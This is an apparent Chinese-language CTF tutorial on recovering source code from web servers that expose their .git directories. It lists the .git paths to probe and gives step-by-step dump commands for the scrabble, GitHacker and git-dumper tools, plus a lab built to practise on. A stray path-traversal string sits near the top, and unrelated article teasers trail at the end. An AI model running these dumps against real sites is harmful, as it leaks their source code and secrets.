Git 教学文:https://backlog.com/git-tutorial/tw/intro/intro1_1.html
Git 结构:https://www.gushiciku.cn/pl/pErO/zh-tw
Git 游戏:https://learngitbranching.js.org/?locale=zh_TW
商业 Git flow:https://gitbook.tw/chapters/gitflow/why-need-git-flow.html
../../../
,一旦重建工具没有检查路径,重构资料就可以随意覆盖到你的正常档案。由於 git 版本不断更新,有些资料、目录位置、内容可能也会改变,我把一些目前蒐集到的资讯汇整
一般来说,只要网址/.git 可以看到东西,基本上就能将程序还原,但是有时候网址输入 /.git 会出现 403 (「无权」访问指定的URL而非 「档案不存在」,代表 .git 目录可能是存在的,你可以尝试 /.git/config,看他有没有挡),或是用其他方式拿到 .git 的资料,例如下载 (参考资料)
网址/.git/logs/HEAD
储存 git 的 log,可以找到历史 commit
网址/.git/refs/heads/master
会记录 master 的 commit hash,可以分解出该 commit 的资料
网址/.git/refs/heads
底下会放所有分支的名字资料夹
网址/.git/refs/stash
用於暂时保存 git 工作进度,可以把做到一半的东西先藏起来(stash),不要 commit 出去
git stash list
显示 stash 内的所有内容git stash pop
把刚刚做到一半存在 stash 的资料还原网址/.git/info/packs
packs 的件提取与恢复 (比较少考)
网址/.git/index
会储存 git add 的资料
./scrabble <有 .git 泄漏的网址>
ls -al
cat <你找到的 flag 档案>
git reset --hard HEAD^
ls -al
cat <找到的 flag 档案>
git log --stat
git log --all
git diff HEAD <commit 的 id>
git branch -v
githacker —-url <网址/.git> —folder <git还原出来的档案储存位置>
cd <储存位置>
git checkout <会看到分支名字>
cat <档案>
# 下载 git dumper 工具
git clone https://github.com/arthaud/git-dumper
# 切进下载的目录
cd git-dumper/
# 将 requirements.txt 修改权限
chmod 755 requirements.txt
# 安装 git dummper 需要的资料
pip install -r requirements.txt
# 使用 git-dumper 还原网站的 .git
./git-dumper.py <目标网址/.git> <还原 git 後,要储存的地方>
# 先切到刚刚储存的地方
cd <刚刚储存的地方>
# 查看有什麽档案,可以 cat 资料
ls -al
# 查看 LOG 纪录,假设找到 add flag (这是 commit 的资讯,非新增 flag 这个档案) 的节点,记住 07fd.....ee55
git log
# git 推回这个 07fd.....ee55 节点
git checkout 07fd3f193ca3e23fdd27383bd398e6957e82ee55
# 检查 log 纪录,看是否有推回到 add flag 的节点上
git log
# 查看目录底下有哪些资料,找 flag
ls -al
Server OS: Ubuntu Server 20.04.3
安装 Web Server:此处使用 Apache
sudo apt install apache2
建立 Git Repository:此处建立於 /var/www/html/git_1
REPO="/var/www/html/git_1"
# Create the folder
sudo mkdir "${REPO}"
# Enter the folder
cd "${REPO}"
# Take the ownership
sudo chown -R "$(whoami)" .
# Initialize Git Repo
git init
储存 flag
echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
git add index.php
git commit -m "Store Secret Flag"
将 flag 改掉
echo "You cannot see my secret now!" > index.php
git add index.php
git commit -m "Delete Secret Flag"
此处使用 Denny 大大制作的 scrabble 工具
# Download Tool
git clone https://github.com/denny0223/scrabble.git
# Create Output Folder
mkdir dump && cd dump
# Dump
../scrabble/scrabble http://172.16.28.2/git_1
查看哪个 commit 修改过储存 flag 的档案
git log --stat
查看修改的内容
git diff HEAD bbfc3a
建立 Git Repository:此处建立於 /var/www/html/git_2
REPO="/var/www/html/git_2"
# Create the folder
sudo mkdir "${REPO}"
# Enter the folder
cd "${REPO}"
# Take the ownership
sudo chown -R "$(whoami)" .
# Initialize Git Repo
git init
2. 建立初始 Commit
echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > flag.php
git add flag.php
git commit -m "Store Secret Flag"
3. 储存 flag 到 dev 分支
# Create and checkout to branch dev
git checkout -b dev
# Store flag
echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
git add index.php
git commit -m "Store Secret Flag"
4. 切换回 master 分支,此时 index.php
中没有东西
git checkout master
cat index.php
安装 GitHacker
# Create virutal environment
python3 -m venv
# Enter venv
source venv/bin/activate
# Install GitHacker
pip install GitHacker
Dump
githacker --url http://172.16.28.2/git_2/.git/ --folder result
切换到 dev,拿到 flag
cd result
git checkout dev
cat index.php
<<: [Day01 - 简介] 成为一位孤独型玩家,从乱点技能开始
这边的 EC 指的是 Electronic Commerce,也就是所谓的电子商务,我们将用一到两章...
1. RWD设计模式 https://developers.google.com/web/funda...
你设计的 API 除了跑的动以外,它安全稳定吗? 既然 Junoir 跟 Senior 的後端工程...
看着规格书,所需要的参数还蛮多的 今天就先用 Python 来求算 Hash ID! 依据官方的说明...
One2one: 一对一关系,格式为: fields.One2one(关联物件 Name, 字段显示...